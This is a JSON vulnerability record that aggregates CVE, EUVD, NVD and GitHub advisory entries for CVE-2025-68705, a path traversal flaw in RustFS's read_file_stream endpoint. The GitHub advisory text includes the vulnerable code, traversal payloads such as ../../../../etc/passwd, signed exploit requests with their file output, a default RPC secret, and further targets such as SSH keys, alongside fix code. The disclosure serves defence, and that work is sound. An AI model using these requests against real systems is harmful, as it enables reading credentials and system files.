{"id":"EUVD-2026-1162","revision":null,"records":[{"revision":"f2727801658a415fa7e94b38dbd2def2","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-68705","aliases":[],"title":"RustFS Path Traversal Vulnerability","description":"RustFS is a distributed object storage system built in Rust. In versions 1.0.0-alpha.13 to 1.0.0-alpha.78, RustFS contains a path traversal vulnerability in the /rustfs/rpc/read_file_stream endpoint. This issue has been patched in version 1.0.0-alpha.79.","state":0,"publishedAt":"2026-01-07T20:31:44.236+00:00","modifiedAt":"2026-01-07T21:28:30.316+00:00","affected":[{"ecosystem":"Vendor product","name":"rustfs","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"rustfs\",\n                    \"product\": \"rustfs\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 1.0.0-alpha.13, < 1.0.0-alpha.79\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","score":8.8,"severity":"HIGH"}],"references":["https://github.com/rustfs/rustfs/security/advisories/GHSA-pq29-69jg-9mxc","https://github.com/rustfs/rustfs/commit/ab752458ce431c6397175d167beee2ea00507d3e"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-68705","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-68705","identifiers":["CVE-2025-68705"]},"retained":false,"historicalAffected":[]},{"revision":"23e0b54038074c499db610ad90158779","observedAt":"2026-11-09T04:11:31.883+00:00","statement":{"source":"euvd","id":"EUVD-2026-1162","aliases":["CVE-2025-68705","GHSA-pq29-69jg-9mxc"],"title":"RustFS is a distributed object storage system built in Rust. In versions 1.0.0-alpha.13 to 1.0.0-alpha.78, RustFS contains a path traversal vulnerability in the /rustfs/rpc/read_file_stream endpoint. This issue has been patched in version 1…","description":"RustFS is a distributed object storage system built in Rust. In versions 1.0.0-alpha.13 to 1.0.0-alpha.78, RustFS contains a path traversal vulnerability in the /rustfs/rpc/read_file_stream endpoint. This issue has been patched in version 1.0.0-alpha.79.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","score":8.8,"severity":null}],"references":["https://github.com/rustfs/rustfs/security/advisories/GHSA-pq29-69jg-9mxc","https://github.com/rustfs/rustfs/commit/ab752458ce431c6397175d167beee2ea00507d3e"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-1162","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jan 7, 2026, 8:31:44 PM","dateUpdated":"Jan 7, 2026, 9:28:30 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-1162","identifiers":["EUVD-2026-1162","CVE-2025-68705","GHSA-pq29-69jg-9mxc"]},"retained":false,"historicalAffected":[]},{"revision":"6fafc19ba93a4551a4015788b6a85063","observedAt":"2026-10-25T04:17:10.72+00:00","statement":{"source":"nvd","id":"CVE-2025-68705","aliases":[],"title":"RustFS is a distributed object storage system built in Rust. In versions 1.0.0-alpha.13 to 1.0.0-alpha.78, RustFS contains a path traversal vulnerability in the /rustfs/rpc/read_file_stream endpoint. This issue has been patched in version 1…","description":"RustFS is a distributed object storage system built in Rust. In versions 1.0.0-alpha.13 to 1.0.0-alpha.78, RustFS contains a path traversal vulnerability in the /rustfs/rpc/read_file_stream endpoint. This issue has been patched in version 1.0.0-alpha.79.","state":0,"publishedAt":"2026-01-07T21:15:59.383+00:00","modifiedAt":"2026-10-14T19:10:00.297+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.8,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/rustfs/rustfs/commit/ab752458ce431c6397175d167beee2ea00507d3e","https://github.com/rustfs/rustfs/security/advisories/GHSA-pq29-69jg-9mxc"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-68705","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-22"],"productCriteria":["cpe:2.3:a:rustfs:rustfs:1.0.0:alpha13:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha14:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha15:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha16:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha17:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha18:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha19:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha20:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha21:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha22:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha23:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha24:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha25:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha26:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha27:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha28:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha29:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha30:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha31:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha32:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha33:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha34:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha35:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha36:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha37:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha38:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha39:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha40:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha41:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha42:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha43:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha44:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha45:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha46:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha47:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha48:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha49:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha50:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha51:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha52:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha53:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha54:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha55:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha56:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha57:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha58:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha59:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha60:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha61:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha62:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha63:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha64:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha65:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha66:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha67:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha68:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha69:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha70:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha71:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha72:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha73:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha74:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha75:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha76:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha77:*:*:*:rust:*:*","cpe:2.3:a:rustfs:rustfs:1.0.0:alpha78:*:*:*:rust:*:*"],"sourceDates":{"published":"2026-01-07T21:15:59.383","lastModified":"2026-10-14T19:10:00.297"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-68705","identifiers":["CVE-2025-68705"]},"retained":false,"historicalAffected":[]},{"revision":"92c87a3a5a2e4883807d97b2e6f2e4d3","observedAt":"2026-10-24T13:19:54.901+00:00","statement":{"source":"osv","id":"GHSA-pq29-69jg-9mxc","aliases":["CVE-2025-68705"],"title":"RustFS Path Traversal Vulnerability","description":"# RustFS Path Traversal Vulnerability\n\n## Vulnerability Details\n\n- **CVE ID**: \n- **Severity**: Critical (CVSS estimated 9.9)\n- **Impact**: Arbitrary File Read/Write\n- **Component**: `/rustfs/rpc/read_file_stream` endpoint\n- **Root Cause**: Insufficient path validation in `crates/ecstore/src/disk/local.rs:1791`\n\n### Vulnerable Code\n\n```rust\n// local.rs:1791 - No path sanitization!\nlet file_path = volume_dir.join(Path::new(&path)); // DANGEROUS!\ncheck_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length\nlet mut f = self.open_file(file_path, O_RDONLY, volume_dir).await?;\n```\n\nThe code uses `PathBuf::join()` without:\n- Canonicalization\n- Path boundary validation\n- Protection against `../` sequences\n- Protection against absolute paths\n\n## Proof of Concept\n\n### Test Environment\n\n- **Target**: RustFS v0.0.5 (Docker container)\n- **Endpoint**: `http://localhost:9000/rustfs/rpc/read_file_stream`\n- **RPC Secret**: `rustfsadmin` (from RUSTFS_SECRET_KEY)\n- **Disk ID**: `/data/rustfs0`\n- **Volume**: `.rustfs.sys`\n\n### Attack Scenario\n\n#### Exploit Parameters\n\n```\ndisk: /data/rustfs0\nvolume: .rustfs.sys\npath: ../../../../etc/passwd  # Path traversal payload\noffset: 0\nlength: 751  # Must match file size\n```\n\n#### Required Authentication\n\nRPC requests require HMAC-SHA256 signature:\n\n```python\n# Signature format: HMAC-SHA256(secret, \"{url}|{method}|{timestamp}\")\nHeaders:\n  x-rustfs-signature: Base64(HMAC-SHA256(secret, data))\n  x-rustfs-timestamp: Unix timestamp\n```\n\n### Successful Exploits\n\n#### 1. Read `/etc/passwd` ✅\n\n**Request:**\n```\nGET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/passwd&offset=0&length=751\nx-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg=\nx-rustfs-timestamp: 1766482485\n```\n\n**Response:** HTTP 200 OK\n\n**Content Retrieved:**\n```\nroot:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n[... 15 more lines ...]\nrustfs:x:10001:10001::/home/rustfs:/sbin/nologin\n```\n\n**Impact**: Full user account enumeration\n\n---\n\n#### 2. Read `/etc/hosts` ✅\n\n**Request:**\n```\nGET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/hosts&offset=0&length=172\n```\n\n**Response:** HTTP 200 OK\n\n**Content Retrieved:**\n```\n127.0.0.1\tlocalhost\n::1\tlocalhost ip6-localhost ip6-loopback\n[...]\n172.20.0.3\td25e05a19bd2\n```\n\n**Impact**: Network configuration disclosure\n\n---\n\n#### 3. Read `/etc/hostname` ✅\n\n**Request:**\n```\nGET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=/etc/hostname&offset=0&length=13\n```\n\n**Response:** HTTP 200 OK\n\n**Content Retrieved:**\n```\nd25e05a19bd2\n```\n\n**Impact**: System information disclosure\n\n---\n\n## Technical Analysis\n\n### Data Flow\n\n```\n1. HTTP Request\n   ↓\n2. RPC Signature Verification (verify_rpc_signature)\n   ↓\n3. Find Disk (find_local_disk)\n   ↓\n4. Read File Stream (disk.read_file_stream)\n   ↓\n5. VULNERABLE: volume_dir.join(Path::new(&path))\n   ↓\n6. File Read: /data/rustfs0/.rustfs.sys/../../../../etc/passwd\n              → /etc/passwd\n```\n\n### Path Traversal Mechanism\n\n```rust\n// Example traversal:\nvolume_dir = PathBuf::from(\"/data/rustfs0/.rustfs.sys\")\npath = \"../../../../etc/passwd\"\n\n// PathBuf::join() resolves to:\nfile_path = \"/data/rustfs0/.rustfs.sys/../../../../etc/passwd\"\n          = \"/etc/passwd\"  // Successfully escaped!\n```\n\n### Why It Works\n\n1. **No Canonicalization**: Code doesn't use `canonicalize()` before validation\n2. **No Boundary Check**: No verification that final path is within volume_dir\n3. **PathBuf::join() Behavior**: Automatically resolves `../` sequences\n4. **Length-Only Validation**: `check_path_length()` only checks string length\n\n### Special Considerations\n\n- **File Size Constraint**: The `length` parameter must exactly match file size\n  - Code validates: `file.len() >= offset + length`\n  - Otherwise returns `DiskError::FileCorrupt`\n- **Volume Requirement**: Volume/bucket must exist (e.g., `.rustfs.sys`)\n- **Disk Requirement**: Disk must be registered in `GLOBAL_LOCAL_DISK_MAP`\n\n## Impact Assessment\n\n### Confidentiality Impact: HIGH\n\n- ✅ Read arbitrary files (demonstrated)\n- ✅ Read system configuration files (`/etc/passwd`, `/etc/hosts`)\n- ⚠️ Potential to read:\n  - SSH keys (`/root/.ssh/id_rsa`)\n  - Application secrets\n  - RustFS configuration files\n  - Environment variables from `/proc`\n\n### Integrity Impact: HIGH\n\n- ⚠️ Similar vulnerability exists in `put_file_stream` (not tested)\n- ⚠️ Arbitrary file write likely possible\n- ⚠️ Could write to:\n  - Cron jobs\n  - authorized_keys\n  - System binaries (if permissions allow)\n\n### Availability Impact: MEDIUM\n\n- ⚠️ `walk_dir` endpoint could enumerate entire filesystem\n- ⚠️ Potential DoS via recursive directory traversal\n\n## Exploitation Requirements\n\n### Prerequisites\n\n1. **Network Access**: Ability to reach RustFS RPC endpoints\n2. **RPC Secret Knowledge**: Knowledge of RUSTFS_SECRET_KEY\n   - Default: `\"rustfs-default-secret\"`\n   - Production: From environment variable or config\n3. **Disk/Volume Knowledge**: Valid disk ID and volume name\n4. **File Size Knowledge**: Exact file sizes for successful reads\n\n### Attack Complexity\n\n- **Without Secret**: Impossible (signature verification)\n- **With Secret**: Trivial (automated script)\n- **With Default Secret**: Critical risk if not changed\n\n## Mitigation Recommendations\n\n### Immediate Actions (Priority 0)\n\n1. **Path Canonicalization**\n```rust\nasync fn read_file_stream(&self, volume: &str, path: &str, ...) -> Result<FileReader> {\n    let volume_dir = self.get_bucket_path(volume)?;\n\n    // CRITICAL FIX:\n    let file_path = volume_dir.join(Path::new(&path));\n    let canonical = file_path.canonicalize()\n        .map_err(|_| DiskError::FileNotFound)?;\n\n    // Validate path is within volume_dir\n    if !canonical.starts_with(&volume_dir) {\n        error!(\"Path traversal attempt detected: {:?}\", path);\n        return Err(DiskError::InvalidArgument);\n    }\n\n    // Continue with validated path...\n}\n```\n\n2. **Path Component Validation**\n```rust\n// Reject dangerous path components\nif path.contains(\"..\") || path.starts_with('/') {\n    return Err(DiskError::InvalidArgument);\n}\n```\n\n3. **Use path-clean Crate**\n```rust\nuse path_clean::PathClean;\n\nlet cleaned_path = PathBuf::from(&path).clean();\nif cleaned_path.to_string_lossy().contains(\"..\") {\n    return Err(DiskError::InvalidArgument);\n}\n```\n\n### Additional Security Measures\n\n4. **Audit Logging**: Log all RPC file operations with full paths\n5. **Rate Limiting**: Prevent DoS via repeated RPC calls\n6. **Secret Rotation**: Ensure unique RPC secrets per deployment\n7. **Network Segmentation**: Restrict RPC endpoint access\n8. **Security Testing**: Add path traversal tests to test suite\n\n### Long-term Improvements\n\n9. **Chroot Jail**: Isolate RPC operations in chroot environment\n10. **Least Privilege**: Run RustFS with minimal file system permissions\n11. **Security Audit**: Comprehensive review of all file operations\n\n## Proof of Concept Script\n\nThe complete PoC is available at: `exploit_path_traversal.py`\n\n### Usage\n\n```bash\n# Ensure RustFS is running\ndocker compose ps\n\n# Run exploit\npython3 exploit_path_traversal.py\n```\n\n### Output\n\n```\n[+] SUCCESS! Read 751 bytes\n[+] File content:\n================================================================================\nroot:x:0:0:root:/root:/bin/sh\n[... full /etc/passwd content ...]\n================================================================================\n```\n\n## Acknowledgements\n\nRustFS would like to thank **bilisheep** from the **Xmirror Security Team** for discovering and responsibly reporting this vulnerability.\n\nAcknowledgements: RustFS would like to thank @realansgar and  **bilisheep** from the **Xmirror Security Team** for providing the security report.","state":0,"publishedAt":"2026-01-07T18:15:29+00:00","modifiedAt":"2026-02-03T03:16:19.015422+00:00","affected":[{"ecosystem":"crates.io","name":"rustfs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.0.0-alpha.13"},{"kind":"fixed","version":"1.0.0-alpha.79"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/rustfs/rustfs/security/advisories/GHSA-pq29-69jg-9mxc","https://nvd.nist.gov/vuln/detail/CVE-2025-68705","https://github.com/rustfs/rustfs/commit/ab752458ce431c6397175d167beee2ea00507d3e","https://github.com/rustfs/rustfs"],"sourceUrl":"https://github.com/advisories/GHSA-pq29-69jg-9mxc","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-pq29-69jg-9mxc","identifiers":["GHSA-pq29-69jg-9mxc","CVE-2025-68705"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-10T00:04:20.9434546+00:00","complete":true,"records":1773,"lastAttemptAt":"2026-11-10T00:04:20.9434546+00:00","lastSuccessAt":"2026-11-10T00:04:21.6223341+00:00","error":null,"lastVerifiedAt":"2026-11-10T00:04:21.622335+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-24e6fde7b744113daefb8f6135035fb8a5c69c9617c9c0d40574a0376532ffd3-28cfe0e9a7fd540693c3c003e82e8794f6d50787cb7c9866f49d79161db1199f","complete":true,"records":421738,"lastAttemptAt":"2026-11-10T00:02:15.9105874+00:00","lastSuccessAt":"2026-11-10T00:02:15.7728836+00:00","error":null,"lastVerifiedAt":"2026-11-10T00:02:15.9105874+00:00","snapshotPublishedAt":"2026-11-09T23:23:26+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-712f6c1278224b899f49f24ee1b071dc","complete":false,"records":13689,"lastAttemptAt":"2026-11-10T00:17:10.7338694+00:00","lastSuccessAt":"2026-11-10T00:17:10.73+00:00","error":"42 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-10T00:17:10.73+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13662,"expectedIdentifiers":13742,"failedIdentifiers":42},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-10T00:04:20.9434546+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-10T00:04:20.9434546+00:00","lastSuccessAt":"2026-11-10T00:04:21.6231234+00:00","error":null,"lastVerifiedAt":"2026-11-10T00:04:21.6231235+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-46931e0d84a04da7b4a608d083ac3d63","complete":false,"records":13695,"lastAttemptAt":"2026-11-10T00:04:49.7283608+00:00","lastSuccessAt":"2026-11-10T00:04:49.725+00:00","error":null,"lastVerifiedAt":"2026-11-10T00:04:49.725+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13704,"expectedIdentifiers":13742,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-cdffb4589856378aa42e8d1bd4a6c74e27a180d8160bf764c44715ef760f0a62","complete":true,"records":9932,"lastAttemptAt":"2026-11-10T00:04:20.2100924+00:00","lastSuccessAt":"2026-11-10T00:04:19.8260565+00:00","error":null,"lastVerifiedAt":"2026-11-10T00:04:20.2100924+00:00","snapshotPublishedAt":"2026-11-09T23:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-26503967ae4379db8f374089589d6e03fb15bd31f820c9e992aaf93840c2236c","complete":true,"records":1971,"lastAttemptAt":"2026-11-10T00:02:15.9827084+00:00","lastSuccessAt":"2026-11-09T21:02:20.472473+00:00","error":null,"lastVerifiedAt":"2026-11-10T00:02:15.9827084+00:00","snapshotPublishedAt":"2026-11-09T20:18:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-761ecc9061239b0da572dc9254c6f384c1d19339eb08408c436647a2f26129e9","complete":true,"records":3064,"lastAttemptAt":"2026-11-10T00:04:20.8155249+00:00","lastSuccessAt":"2026-11-09T17:05:03.4044794+00:00","error":null,"lastVerifiedAt":"2026-11-10T00:04:20.8155249+00:00","snapshotPublishedAt":"2026-11-09T16:33:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-0238b66eb8569b8ca6bfb00e5ba7ca79562b7b754d90d8771d19caf3b72b4f1c","complete":true,"records":231580,"lastAttemptAt":"2026-11-10T00:04:10.424408+00:00","lastSuccessAt":"2026-11-10T00:04:09.9885069+00:00","error":null,"lastVerifiedAt":"2026-11-10T00:04:10.424408+00:00","snapshotPublishedAt":"2026-11-09T23:48:05+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}